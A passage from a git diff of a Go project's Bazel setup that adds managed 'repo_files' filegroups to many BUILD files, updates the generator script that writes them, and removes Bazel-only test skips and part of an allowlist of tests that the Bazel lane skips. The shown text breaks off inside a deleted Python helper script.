applies to every command). - if os.Getenv("TEST_SRCDIR") == "" { - scriptNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|BEADS_TEST_PROXIED_SERVER|BEADS_TEST_ENV_RUN_DOLT|BEADS_TEST_REQUIRE_DOLT_CONTAINER|BEADS_TEST_DOLT_SERVER\b|TESTBRIDGE_TEST_ONLY|test_filter|test_arg|_filters\b|cache_test_results|eviction_retries|flaky|runs_per_test|test_sharding_strategy`) - files, _ := filepath.Glob(filepath.Join(root, "tools", "bazel", "*.sh")) - action, _ := filepath.Glob(filepath.Join(root, setupBazelActionDir, "*")) - files = append(files, action...) - if len(files) < 5 { - t.Fatalf("found only %v", files) + scriptNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|BEADS_TEST_PROXIED_SERVER|BEADS_TEST_ENV_RUN_DOLT|BEADS_TEST_REQUIRE_DOLT_CONTAINER|BEADS_TEST_DOLT_SERVER\b|TESTBRIDGE_TEST_ONLY|test_filter|test_arg|_filters\b|cache_test_results|eviction_retries|flaky|runs_per_test|test_sharding_strategy`) + files, _ := filepath.Glob(filepath.Join(root, "tools", "bazel", "*.sh")) + action, _ := filepath.Glob(filepath.Join(root, setupBazelActionDir, "*")) + files = append(files, action...) + if len(files) < 5 { + t.Fatalf("found only %v", files) + } + for _, f := range files { + rel, _ := filepath.Rel(root, f) + data, err := os.ReadFile(f) + if err != nil { + t.Fatal(err) } - for _, f := range files { - rel, _ := filepath.Rel(root, f) - data, err := os.ReadFile(f) - if err != nil { - t.Fatal(err) + for i, line := range strings.Split(string(data), "\n") { + code := strings.TrimSpace(line) + if strings.HasPrefix(code, "#") { + continue } - for i, line := range strings.Split(string(data), "\n") { - code := strings.TrimSpace(line) - if strings.HasPrefix(code, "#") { - continue - } - if scriptNarrow.MatchString(code) { - t.Errorf("%s:%d %q can select, skip or re-run the retired tiers' lanes' tests", rel, i+1, code) - } - for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { - if !rcEnabled[m[1]] { - t.Errorf("%s:%d enables --config=%s for every command", rel, i+1, m[1]) - } + if scriptNarrow.MatchString(code) { + t.Errorf("%s:%d %q can select, skip or re-run the retired tiers' lanes' tests", rel, i+1, code) + } + for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { + if !rcEnabled[m[1]] { + t.Errorf("%s:%d enables --config=%s for every command", rel, i+1, m[1]) } } } @@ -1718,20 +1696,15 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // legacy jobs run the same scripts, so they are not changed here): the // command that runs the selected tests is pinned exactly, and nothing // else in them may select, skip, export a tier switch or run tests. - if os.Getenv("TEST_SRCDIR") == "" { - for _, c := range bazelShardScripts { - for _, e := range shardScriptNarrowing(c, readPolicyFile(t, root, c.script)) { - t.Error(e) - } + for _, c := range bazelShardScripts { + for _, e := range shardScriptNarrowing(c, readPolicyFile(t, root, c.script)) { + t.Error(e) } } // The lanes' targets (tagged embedded, dolt-server-proxied or // dolt-server-integration): exactly these, with exactly these args and // env (the legacy jobs' flags; the shard scripts add the rest). - if os.Getenv("TEST_SRCDIR") != "" { - return // scripts_test's runfiles hold no other package's BUILD - } type target struct { args []string env map[string]string @@ -2099,9 +2072,6 @@ func shardScriptNarrowing(c bazelShardScript, src string) []string { // The shard script check itself, on the real scripts and on narrowing edits // of one (review F2 mutations m2 and m3). func TestShardScriptNarrowingCheck(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold no .github/scripts") - } root := sourceRepoRoot(t) scripts := map[string]bool{} for _, c := range bazelShardScripts { diff --git a/scripts/prlintmake/BUILD.bazel b/scripts/prlintmake/BUILD.bazel index a551175b0..e1fd0fd90 100644 --- a/scripts/prlintmake/BUILD.bazel +++ b/scripts/prlintmake/BUILD.bazel @@ -22,3 +22,25 @@ go_test( env = {"BEADS_TEST_GO": "$(rlocationpath @go_sdk//:bin/go)"}, deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/release_script_test.go b/scripts/release_script_test.go index 89a811de1..a4d7442a4 100644 --- a/scripts/release_script_test.go +++ b/scripts/release_script_test.go @@ -85,9 +85,7 @@ echo '{"source":"/tmp/stale.formula.toml"}' } func TestReleaseFormulaCleanupStaleDoltOrphansHandlesLocalModeWithoutJQ(t *testing.T) { - skipReleaseFormulaUnderBazel(t) - repoRoot := sourceRepoRoot(t) - formulaPath := filepath.Join(repoRoot, ".beads", "formulas", "beads-release.formula.toml") + formulaPath := releaseFormulaPath(t) if _, err := formula.NewParser().ParseFile(formulaPath); err != nil { t.Fatalf("beads-release formula does not parse: %v", err) } @@ -119,9 +117,7 @@ func TestReleaseFormulaCleanupStaleDoltOrphansHandlesLocalModeWithoutJQ(t *testi } func TestReleaseFormulaHomebrewCoreProcedureCoversTemplateAndBottles(t *testing.T) { - skipReleaseFormulaUnderBazel(t) - repoRoot := sourceRepoRoot(t) - formulaPath := filepath.Join(repoRoot, ".beads", "formulas", "beads-release.formula.toml") + formulaPath := releaseFormulaPath(t) if _, err := formula.NewParser().ParseFile(formulaPath); err != nil { t.Fatalf("beads-release formula does not parse: %v", err) } @@ -206,15 +202,20 @@ func releaseTestTempDir(t *testing.T) string { return t.TempDir() } -// skipReleaseFormulaUnderBazel skips tests that read -// .beads/formulas/beads-release.formula.toml under Bazel: .beads holds live -// Dolt data and is in .bazelignore, so no target can declare the formula. -// These tests run under `go test`. -func skipReleaseFormulaUnderBazel(t *testing.T) { +// releaseFormulaPath returns the checked-in beads-release formula. Under +// Bazel it comes from BEADS_TEST_RELEASE_FORMULA: .beads/ also holds live bd +// data and is in .bazelignore, so the formula is not under //:repo_files but +// in its own local repository (@beads_formulas, MODULE.bazel). +func releaseFormulaPath(t *testing.T) string { t.Helper() if bazeltest.IsBazel() { - t.Skip(".beads/ is in .bazelignore, so the release formula cannot be declared as data; runs under go test") + path, err := bazeltest.RunfileEnv("BEADS_TEST_RELEASE_FORMULA") + if err != nil { + t.Fatal(err) + } + return path } + return filepath.Join(sourceRepoRoot(t), ".beads", "formulas", "beads-release.formula.toml") } func sourceRepoRoot(t *testing.T) string { diff --git a/scripts/repro-dolt-hang/BUILD.bazel b/scripts/repro-dolt-hang/BUILD.bazel index 87208ed30..9c219dbf9 100644 --- a/scripts/repro-dolt-hang/BUILD.bazel +++ b/scripts/repro-dolt-hang/BUILD.bazel @@ -16,3 +16,25 @@ go_binary( embed = [":repro-dolt-hang_lib"], visibility = ["//visibility:public"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/repro-dolt-prod-timeouts/BUILD.bazel b/scripts/repro-dolt-prod-timeouts/BUILD.bazel index f2066005f..ee97e8e8f 100644 --- a/scripts/repro-dolt-prod-timeouts/BUILD.bazel +++ b/scripts/repro-dolt-prod-timeouts/BUILD.bazel @@ -32,3 +32,25 @@ go_test( "@com_github_data_dog_go_sqlmock//:go-sqlmock", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/test_script_test.go b/scripts/test_script_test.go index 02d17d3e3..a1b67b65d 100644 --- a/scripts/test_script_test.go +++ b/scripts/test_script_test.go @@ -457,19 +457,18 @@ func runTestScriptPrebuiltBinary(t *testing.T, repoRoot string, args []string) ( // at the mercy of whatever test size this target happens to run under; // go test does not set this variable, so only Bazel needs the filter. // - // scripts/ci/scripts-go-test.sh (the CI driver for this very package's - // `go test ./scripts/...` run) calls beads_test_env_enter in its own - // shell before invoking go test, so this process's own os.Environ() can - // already carry an inherited BEADS_TEST_ENV_ACTIVE=1 / BEADS_TEST_ENV_ROOT - // / BEADS_TEST_ENV_DISABLE / BEADS_TEST_ENV_KEEP from that outer, - // longer-lived shell. If left in the child env below, scripts/test.sh's + // A caller that runs `go test ./scripts/...` inside an entered hermetic + // env (scripts/ci/pr-core.sh calls beads_test_env_enter in its own shell + // before invoking go test) hands this process an inherited + // BEADS_TEST_ENV_ACTIVE=1 / BEADS_TEST_ENV_ROOT / BEADS_TEST_ENV_DISABLE / + // BEADS_TEST_ENV_KEEP from that outer, longer-lived shell. If left in the child env below, scripts/test.sh's // own beads_test_env_enter call (scripts/test.sh:17) sees the // already-active guard and no-ops: no new root, no new EXIT trap - so the // directory observed by the fake binary is the outer root, which is // still alive (and rightly so: it's owned by the outer process) when // scripts/test.sh exits. That makes the "cleans up BEADS_TEST_ENV_ROOT" // subtest below fail only when this test binary happens to run nested - // under scripts-go-test.sh, even though the SF-4 fix it is guarding is + // under such a caller, even though the SF-4 fix it is guarding is // correct. Every real production caller of scripts/test.sh's prebuilt // path (pr.yml's Windows liveness/worktree-remove prebuilt steps) runs it // as the first command of a fresh GitHub Actions `run:` step, never diff --git a/scripts/workflowtags/BUILD.bazel b/scripts/workflowtags/BUILD.bazel index 06ccb766f..f5ff5af79 100644 --- a/scripts/workflowtags/BUILD.bazel +++ b/scripts/workflowtags/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["workflowtags_test.go"], embed = [":workflowtags"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/test/conformance/BUILD.bazel b/test/conformance/BUILD.bazel index 115d75c1d..eebe95038 100644 --- a/test/conformance/BUILD.bazel +++ b/test/conformance/BUILD.bazel @@ -6,3 +6,25 @@ go_library( importpath = "github.com/steveyegge/beads/test/conformance", visibility = ["//visibility:public"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/test/docsync/BUILD.bazel b/test/docsync/BUILD.bazel index 20fb12ae9..dcf713b95 100644 --- a/test/docsync/BUILD.bazel +++ b/test/docsync/BUILD.bazel @@ -8,10 +8,30 @@ go_test( "doltpin_test.go", "init_safety_recovery_test.go", ], - data = [ - "//:docsync_files", - "//cmd/bd:init_safety_help.go", - "//internal/testutil:testdoltcommon.go", - ], + # The checkout as Bazel sees it: the docs trees, every link target, and + # every AGENTS.md and test file the agent-instruction checks resolve. + data = ["//:repo_files"], deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/test/docsync/agentfiles_test.go b/test/docsync/agentfiles_test.go index f37e53937..6547dc137 100644 --- a/test/docsync/agentfiles_test.go +++ b/test/docsync/agentfiles_test.go @@ -9,8 +9,6 @@ import ( "sort" "strings" "testing" - - "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // rootAgentsMaxBytes caps the root AGENTS.md. Agent tools load it into every @@ -80,14 +78,14 @@ func contributorAgentFiles(t *testing.T, root string) []string { } // TestAgentInstructionFilesAreLinkedAndRouted: every contributor AGENTS.md has -// a sibling CLAUDE.md symlink (Claude Code skips AGENTS.md files when a -// CLAUDE.md exists above them), every nested one is listed in the root routing -// table, and every local link, backticked repo path, and backticked guard-test -// name in them resolves. Make targets are not checked. +// a sibling CLAUDE.md that resolves to it (a symlink, `ln -s AGENTS.md +// CLAUDE.md`: Claude Code skips AGENTS.md files when a CLAUDE.md exists above +// them), every nested one is listed in the root routing table, and every +// local link, backticked repo path, and backticked guard-test name in them +// resolves. Make targets are not checked. Under Bazel the checkout is +// //:repo_files, where a source symlink arrives as its target's content, so +// CLAUDE.md is checked by content: a copy that drifts from AGENTS.md fails. func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { - if bazeltest.IsBazel() { - t.Skip("walks the source checkout; Bazel runfiles hold only declared data, so this runs under go test") - } root := repoRoot() agentFiles := contributorAgentFiles(t, root) if len(agentFiles) < 2 { @@ -102,17 +100,13 @@ func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { agentsPath := filepath.Join(root, filepath.FromSlash(rel)) claudePath := filepath.Join(filepath.Dir(agentsPath), "CLAUDE.md") claudeRel := filepath.ToSlash(filepath.Join(filepath.Dir(rel), "CLAUDE.md")) - info, err := os.Lstat(claudePath) - switch { - case err != nil: + if _, err := os.Lstat(claudePath); err != nil { t.Errorf("%s has no sibling CLAUDE.md; add one with `ln -s AGENTS.md CLAUDE.md`", rel) - case info.Mode()&os.ModeSymlink == 0: - t.Errorf("%s is a regular file; replace it with a symlink to AGENTS.md", claudeRel) - default: + } else { agents, aerr := os.ReadFile(agentsPath) claude, cerr := os.ReadFile(claudePath) if aerr != nil || cerr != nil || !bytes.Equal(agents, claude) { - t.Errorf("%s does not resolve to its sibling AGENTS.md", claudeRel) + t.Errorf("%s does not resolve to its sibling AGENTS.md; replace it with `ln -s AGENTS.md CLAUDE.md`", claudeRel) } } if rel != "AGENTS.md" && !bytes.Contains(rootAgents, []byte("("+rel+")")) { diff --git a/test/testmainconvention/BUILD.bazel b/test/testmainconvention/BUILD.bazel index 68121c2c6..cdb841788 100644 --- a/test/testmainconvention/BUILD.bazel +++ b/test/testmainconvention/BUILD.bazel @@ -4,3 +4,25 @@ go_test( name = "testmainconvention_test", srcs = ["testmain_convention_test.go"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel index 247e7f244..f15db188c 100644 --- a/third_party/patches/BUILD.bazel +++ b/third_party/patches/BUILD.bazel @@ -15,3 +15,25 @@ package(default_visibility = ["//visibility:public"]) exports_files(glob(["*.patch"])) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 19e36ec2e..8c05827d0 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -12,12 +12,6 @@ _DOLT_PLATFORMS_ONLY = select({ "//conditions:default": ["@platforms//:incompatible"], }) -# DOLT_VERSION is read as text by the dolt pin tests in //scripts. -exports_files( - ["dolt.bzl"], - visibility = ["//scripts:__pkg__"], -) - # sh_test src for a second test target over an existing go_test binary (see # the script header), e.g. //cmd/bd/doctor/fix:fix_docker_test. exports_files( @@ -97,3 +91,25 @@ filegroup( for os in ("darwin", "linux") for cpu in ("amd64", "arm64") ] + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/bazel/equivalence_allowlist.txt b/tools/bazel/equivalence_allowlist.txt index 7d95926b5..374308a3b 100644 --- a/tools/bazel/equivalence_allowlist.txt +++ b/tools/bazel/equivalence_allowlist.txt @@ -12,37 +12,9 @@ # is a test the Bazel lane does not exercise. The checker reports entries that # no longer match anything. -# The in-test `go build` of bd that this test guards does not happen under -# Bazel (bd comes in through BEADS_TEST_BD_BINARY); go test still runs it. -cmd/bd TestGOMODCACHENotUnderTestHome skip # no in-test go build under Bazel; guarded by go test -# Same: it checks the fallback `go build` of bd, which Bazel never takes. -cmd/bd TestGoBuildBDCommandIsCWDIndependent skip # no in-test go build under Bazel; guarded by go test -# Needs TestAAAStdioBaseline in the same process; sharding splits them. -# TestMain's checkStdioAfterRun still checks every shard. -cmd/bd TestZZStdioNotLeaked skip # baseline test lands in another shard; checkStdioAfterRun covers each shard - -# Repository-policy tests that walk the whole source checkout (git ls-files, -# every BUILD file, .beads/ formulas). Bazel's runfiles hold only declared -# data, so they skip under TEST_SRCDIR; PR Core's go test runs them. -scripts TestBazelGoSrcsBlocksCurrent skip # walks the source checkout; runs under go test -scripts TestBazelNoPackagesUnderDocsTrees skip # walks the source checkout; runs under go test -scripts TestBazelNoRemoteEndpointsInTrackedFiles skip # scans git-tracked files; runs under go test -scripts TestBazelTestTagsFollowTaxonomy skip # reads every BUILD file in the checkout; runs under go test -scripts TestBazelTreeGoSrcsListsEveryPackage skip # walks the source checkout; runs under go test -scripts TestCheckTestingShortPassesOnCleanRepoTree skip # walks the whole checkout; runs under go test -test/docsync TestAgentInstructionFilesAreLinkedAndRouted skip # walks the source checkout for every AGENTS.md; runs under go test -scripts TestReleaseFormula* skip # .beads/ is in .bazelignore, so the formula cannot be data; runs under go test - -# Policy tests whose inputs (other packages' BUILD files, .github/scripts, -# tools/bazel Python) are not in //scripts:scripts_test's runfiles. Missing -# here, they turned nightly.yml's skip-parity check red (2026-10-02). -# scripts TestBazelOnlySkipsAreAllowlisted keeps this list complete. -scripts TestBazelGatedLanesNeverRetryFlakyTests skip # reads every BUILD and .bzl file in the checkout; runs under go test -scripts TestCheckShardCoverageScript skip # runs tools/bazel/check_shard_coverage.py, not in the runfiles; runs under go test -scripts TestShardScriptsListOnlyRealTests skip # runs the real .github/scripts shard scripts over the source tree; runs under go test -scripts TestProxiedShardManifestGeneratorNotStale skip # runs scripts/ci/gen_proxied_shard_manifest.py --check, not in the runfiles; runs under go test -scripts TestCmdEmbeddedShardManifestGeneratorNotStale skip # runs scripts/ci/gen_embedded_cmd_shard_manifest.py --check, not in the runfiles; runs under go test -scripts TestStorageEmbeddedShardManifestGeneratorNotStale skip # runs scripts/ci/gen_embedded_storage_shard_manifest.py --check, not in the runfiles; runs under go test -scripts TestShardScriptNarrowingCheck skip # reads the real .github/scripts shard scripts; runs under go test -scripts TestBazelOnlySkipsAreAllowlisted skip # parses every _test.go file in the checkout; runs under go test -scripts TestRunAllowlistedGoTestsScript skip # runs tools/bazel/run_allowlisted_go_tests.py, not in the runfiles; runs under go test +# Plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), which +# Bazel never takes (bd comes in through BEADS_TEST_BD_BINARY). pr.yml's +# pr-preflight-platforms runs both on Linux, macOS and Windows ("Exercise go +# test's bd build fallback"). +cmd/bd TestGOMODCACHENotUnderTestHome skip # no in-test go build under Bazel; pr-preflight-platforms runs it +cmd/bd TestGoBuildBDCommandIsCWDIndependent skip # no in-test go build under Bazel; pr-preflight-platforms runs it diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index 763e46264..c06af7cfa 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -21,6 +21,17 @@ Blocks in packages that are no longer listed are removed. Run from the repository root after gazelle (see `make bazel-sync`). Output is deterministic and gazelle-stable, so a clean sync leaves git clean. +Every package also gets a managed `repo_files` block: a filegroup of all of +the package's own files (`glob(["**"])` less local build and editor debris), +and the root package's aggregates every package's into `//:repo_files`. That +is the checkout as Bazel sees it, the `data` of the repository-policy tests +that walk the whole tree (every BUILD file, every test file, every tracked +Markdown file). A package without the block would drop out of their view and +pass them vacuously, which is why `make bazel-sync-check` (bazel.yml's BUILD +sync step, on every PR) fails on a missing or stale block. Trees in +.bazelignore (.beads, website, the nested example modules, agent worktrees, +node_modules) are outside Bazel and so outside //:repo_files. + With --check nothing is written: stale blocks are printed as a diff and the exit status is 1 (see `make bazel-sync-check`). """ @@ -54,9 +65,77 @@ TREES = ( BEGIN = "# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" END = "# --- end go_srcs ---" -BLOCK_RE = re.compile(r"\n*" + re.escape(BEGIN) + r".*?" + re.escape(END) + r"\n*", re.DOTALL) +REPO_BEGIN = "# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" +REPO_END = "# --- end repo_files ---" +BLOCK_RES = tuple( + re.compile(r"\n*" + re.escape(begin) + r".*?" + re.escape(end) + r"\n*", re.DOTALL) + for begin, end in ((BEGIN, END), (REPO_BEGIN, REPO_END)) +) SKIP_DIRS = {"testdata", "node_modules"} +# Untracked build output and debris (.gitignore's patterns that can appear in +# any directory) that must not become test inputs on a developer machine. No +# tracked file matches them. +REPO_FILES_EXCLUDE = ( + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", +) + +# The same at the repository root only: the git directory, Bazel's convenience +# symlinks (a glob follows them into the output tree), local binaries, +# per-developer Bazel rc files (they hold remote endpoints) and tool state. +ROOT_REPO_FILES_EXCLUDE = ( + ".agents/**", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", +) + +# Who may read //:repo_files: the repository-policy tests. +REPO_FILES_VISIBILITY = ( + "//scripts:__pkg__", + "//test/docsync:__pkg__", +) + def packages_under(root: str) -> list[str]: found = [] @@ -98,15 +177,47 @@ def block(pkg: str, tree_members: list[str] | None) -> str: return "\n".join(lines) + "\n" -def rewrite(path: str, new_block: str | None, check: bool) -> bool: - """Bring path's managed block up to date; return True if it was stale. +def repo_files_block(pkg: str, packages: list[str]) -> str: + """The repo_files block of pkg ("." is the root, which aggregates).""" + root = pkg == "." + exclude = REPO_FILES_EXCLUDE + (ROOT_REPO_FILES_EXCLUDE if root else ()) + lines = [ + REPO_BEGIN, + "", + "filegroup(", + ' name = "repo_files",', + " srcs = glob(", + ' ["**"],', + " exclude = [", + ] + lines += [f' "{e}",' for e in sorted(exclude)] + # No allow_empty: every package holds at least its BUILD.bazel. + lines += [" ],"] + if root: + lines += [" ) + ["] + lines += [f' "//{p}:repo_files",' for p in packages if p != "."] + lines += [" ],", " visibility = ["] + lines += [f' "{v}",' for v in REPO_FILES_VISIBILITY] + lines += [" ],"] + else: + lines += [" ),", ' visibility = ["//:__pkg__"],'] + lines += [")", "", REPO_END] + return "\n".join(lines) + "\n" + + +def rewrite(path: str, new_blocks: list[str], check: bool) -> bool: + """Bring path's managed blocks up to date; return True if any was stale. In check mode the file is left alone and the needed change is printed. """ with open(path) as f: src = f.read() - stripped = BLOCK_RE.sub("\n", src).rstrip("\n") + "\n" - out = stripped if new_block is None else stripped + "\n" + new_block + stripped = src + for block_re in BLOCK_RES: + stripped = block_re.sub("\n", stripped) + out = stripped.rstrip("\n") + "\n" + for new_block in new_blocks: + out += "\n" + new_block if out == src: return False if check: @@ -150,18 +261,17 @@ def main(argv: list[str]) -> int: wanted.setdefault(pkg, None) wanted[root] = members stale = [] - for pkg in packages_under("."): + packages = packages_under(".") + for pkg in packages: path = os.path.join(pkg, "BUILD.bazel") - if pkg in wanted: - changed = rewrite(path, block(pkg, wanted[pkg]), check) - else: - with open(path) as f: - changed = BEGIN in f.read() and rewrite(path, None, check) + blocks = [block(pkg, wanted[pkg])] if pkg in wanted else [] + blocks.append(repo_files_block(pkg, packages)) + changed = rewrite(path, blocks, check) if changed: stale.append(path) if check and stale: print( - f"go_srcs.py: {len(stale)} stale go_srcs block(s): {', '.join(stale)}; run `make bazel-sync`", + f"go_srcs.py: {len(stale)} stale managed block(s): {', '.join(stale)}; run `make bazel-sync`", file=sys.stderr, ) return 1 diff --git a/tools/bazel/run_allowlisted_go_tests.py b/tools/bazel/run_allowlisted_go_tests.py deleted file mode 100755 index 5111dc074..000000000 --- a/tools/bazel/run_allowlisted_go_tests.py +++ /dev/null @@ -1,193 +0,0 @@ -#!/usr/bin/env python3 -"""Run, under `go test`, the Go tests the Bazel PR-core lane does not run. - -tools/bazel/equivalence_allowlist.txt lists every Go test that PR Core's -`go test` runs and `bazel test //... --config=ci` does not run (kind "run") -or skips (kind "skip"), each with a reason. Where pr.yml's legacy PR Core job -stands down for the Bazel lane (D2 step 3), nothing else would run those -tests before merge, so this runs exactly them, with PR Core's test flags -(-short, -skip '^TestEmbedded', gms_pure_go; not -race: the build is shared -with the job's other non-race `go test` steps), and requires each entry to -have matched at least one top-level test and every matched test to have -passed: a test that now skips, fails or no longer exists fails the step -instead of passing silently. - -A package glob is refused (`go test` needs real package paths); a test name -of `*` runs the whole package. Call it through -scripts/ci/allowlisted-go-tests.sh, which gives the tests PR Core's -environment (scripts/ci/lib/test-env.sh). - -Usage: run_allowlisted_go_tests.py [--allowlist FILE] [--go GO] [--dry-run] -""" -import argparse -import json -import os -import re -import subprocess -import sys - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from equivalence import DEFAULT_ALLOWLIST, load_allowlist # noqa: E402 - -# The build tag(s) PR Core's test flags apply (tags come from .buildflags' -# GOFLAGS too). Factored out so --compile-only's `go test -c` command below -# can reuse it directly instead of slicing GO_TEST_FLAGS (F7b review fix N1: -# `GO_TEST_FLAGS[-2:]` silently assumed these were always the last two -# elements of GO_TEST_FLAGS; any future reordering or addition there would -# have fed `-c` the wrong flags with no error, just a tag-less compile). -BUILD_FLAGS = ["-tags", "gms_pure_go"] -# PR Core's test flags (scripts/ci/pr-core.sh), less -race, -p/-parallel and -# -timeout's package count. -GO_TEST_FLAGS = ["-short", "-count=1", "-timeout=30m", "-skip", "^TestEmbedded", *BUILD_FLAGS] -# Tests an allowlisted test needs in the same process, run alongside it: -# TestZZStdioNotLeaked compares against the streams TestAAAStdioBaseline -# recorded (and skips without it), which is why Bazel's sharding skips it. -COMPANIONS = {("cmd/bd", "TestZZStdioNotLeaked"): ["TestAAAStdioBaseline"]} -NAME_RE = re.compile(r"^[A-Za-z0-9_*]+$") -PKG_RE = re.compile(r"^[A-Za-z0-9_./-]+$") - - -def plan(entries): - """{pkg: [entry, ...]} in allowlist order, or raise ValueError.""" - out = {} - for e in entries: - if not PKG_RE.match(e["pkg"]) or e["pkg"].startswith(("/", "..")) or "*" in e["pkg"]: - raise ValueError(f"allowlist line {e['line']}: package {e['pkg']!r} is not a literal package directory") - if not NAME_RE.match(e["test"]): - raise ValueError(f"allowlist line {e['line']}: test {e['test']!r} is not a Test name or glob") - out.setdefault(e["pkg"], []).append(e) - return out - - -def glob_re(name): - return re.compile("^" + ".*".join(re.escape(p) for p in name.split("*")) + "$") - - -def run_regex(group): - """-run selector for a package's entries, or None for the whole package.""" - if any(e["test"] == "*" for e in group): - return None - names = [] - for e in group: - names += COMPANIONS.get((e["pkg"], e["test"]), []) + [e["test"]] - return "^(" + "|".join(".*".join(re.escape(p) for p in n.split("*")) for n in names) + ")$" - - -def top_level_results(output): - """{test: final action} for top-level tests in `go test -json` output.""" - res = {} - for line in output.splitlines(): - if not line.startswith("{"): - continue - try: - ev = json.loads(line) - except ValueError: - continue - test, action = ev.get("Test"), ev.get("Action") - if test and "/" not in test and action in ("pass", "fail", "skip"): - res[test] = action - return res - - -def check(group, results): - """Problems for one package's entries given its top-level results.""" - problems = [] - for e in group: - matched = sorted(t for t in results if glob_re(e["test"]).match(t)) - if not matched: - problems.append(f"{e['pkg']} {e['test']} (allowlist line {e['line']}): matched no test that ran") - for t in matched: - if 